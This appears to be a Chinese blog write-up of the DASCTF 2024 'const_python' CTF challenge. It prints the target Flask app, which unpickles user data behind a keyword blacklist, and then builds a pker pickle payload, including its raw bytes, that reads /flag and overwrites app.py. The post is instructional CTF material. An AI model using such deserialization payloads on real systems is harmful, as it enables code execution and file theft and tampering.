[DASCTF 2024最后一战|寒夜破晓,冬至终章]const_python WP

本博客已经迁移到星潮星屿

参考WP

pker 学习

pker

解题过程

根据题目提示,访问路由 src,获得源代码:


import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']


        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username


    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

分析代码可知,我们的主要目标是通过 pickle RCE 获得 config['secret']。

构造 pickle payload:


wait! 在此之前我们先学习一下什么是 pickle:

pickle 是 Python 的序列化/反序列化模块。

它能把 Python 对象保存成字节流(序列化),也能把字节流还原成对象(反序列化)。

**问题是**:`pickle.loads()` 在反序列化时会**执行**字节流里的指令,所以如果不可信的数据被反序列化,就可以执行任意代码,导致 **远程代码执行(RCE)漏洞**。

想要生成一个 pickle 序列化 bytes,可以这样做:

import pickle

class A:
    def __reduce__(self):
        return (print, ("helloworld!", ))

payload = pickle.dumps(A())

__reduce__ 用于告诉 pickle 怎样序列化这个 Python 对象,其中 return 的第一个变量是一个函数对象,指定使用什么函数来序列化这个对象,之后跟着一个元组,它是传递给前面的函数对象的参数。需要注意的是,如果传递的元组长度为 1,一定要记得在后面加上一个 ,

But! 使用python官方的代码来生成 payload 限制很大,而且也不大精细,因此,我们可以使用大佬写的 pker 来生成序列化字节流。

pker 的教程见文首的文章。


现在我们来尝试构造本题的 payload。读这部分代码,发现可以使用 open, write:

@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    # 获取 pickle payload
    data = request.form['data']

    # 禁止使用 os 和 sys
    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    
    try:
        pickle_data = base64.b64decode(data)
        # 不允许出现下列字符串
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"

补充一个知识点:

在 jinjia 模板中,能够使用类似 ''['__class__'] 的方式来访问某一个对象的属性,这是 jinjia 引擎提供的特性,它会在找不到字典键的时候将他转换成 getattr('', '__class__'),但是这种方式在正常的代码中是不可行的,只能使用 ''.__class__ 的方式来获取。(是的,理论上我们可以使用 getattr 来生成完成这个题目)

Payload

getattr = GLOBAL('builtins', 'getattr')  # 从内置函数中获取 getattr 这个内置函数
open = GLOBAL('builtins', 'open')        # 同样,我们获取到 open 这个内置函数
f = open('/flag')                        # 获取到 flag 的文件对象
read = getattr(f, 'read')                # 注意,这个地方的 read 是独属于 f 文件对象的 read,相当于 read = f.read
content = read()                         # 获取到 flag 的内容
src = open('./app.py', 'w')              # 获取到源代码的文件对象,这是我们唯一一个我们能拿到回显的地方了
write = getattr(src, 'write')            # 拿到源代码的 write 函数
write(content)                           # 写入
return                                   # 返回

然后使用 pker 生成 payload

python pker.py < payload.txt

得到一个 python 样式的字节流 b'',注意这个地方不要直接放到 cyber chef 中,因为他不会转义 \n,要么使用 python 先输出(因为没有中文),要么直接使用 python 拿到 b64:

import base64
base64.urlsafe_b64encode(b"cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S'/flag'\ntRp2\n0g0\n(g2\nS'read'\ntRp3\n0g3\n(tRp4\n0g1\n(S'./app.py'\nS'w'\ntRp5\n0g0\n(g5\nS'write'\ntRp6\n0g6\n(g4\ntR.")

然后丢到 /ppicklee 中,访问 /src 拿到 flag 回显就可以了。

长长脑子

下面小小尝试一下使用 python 官方代码进行序列化,对照上面的代码,得到:

import pickle

class RCE:
    def process():
        open('./app.py', 'w').write(open('/flag').read())
    
    def __reduce__(self):
        return (process)

payload = pickle.dumps(RCE())

显然,我失败了,原因是 __reduce__ 这个函数执行的时候 self 对象已经不存在了,也就是说其他相应的成员函数也随之被销毁了,那么可不可以把函数写在外面呢?可以,如果你的 payload 在这个文件里面被解析,当然可以,可惜你的payload是在别人的代码中执行。。。

因此,我也算是明白使用 python 官方的代码为什么会说限制很大了。。而且这个官方代码不允许嵌套调用。

posted @ 2025-04-29 01:08  EOF_break  阅读(455)  评论(0)    收藏  举报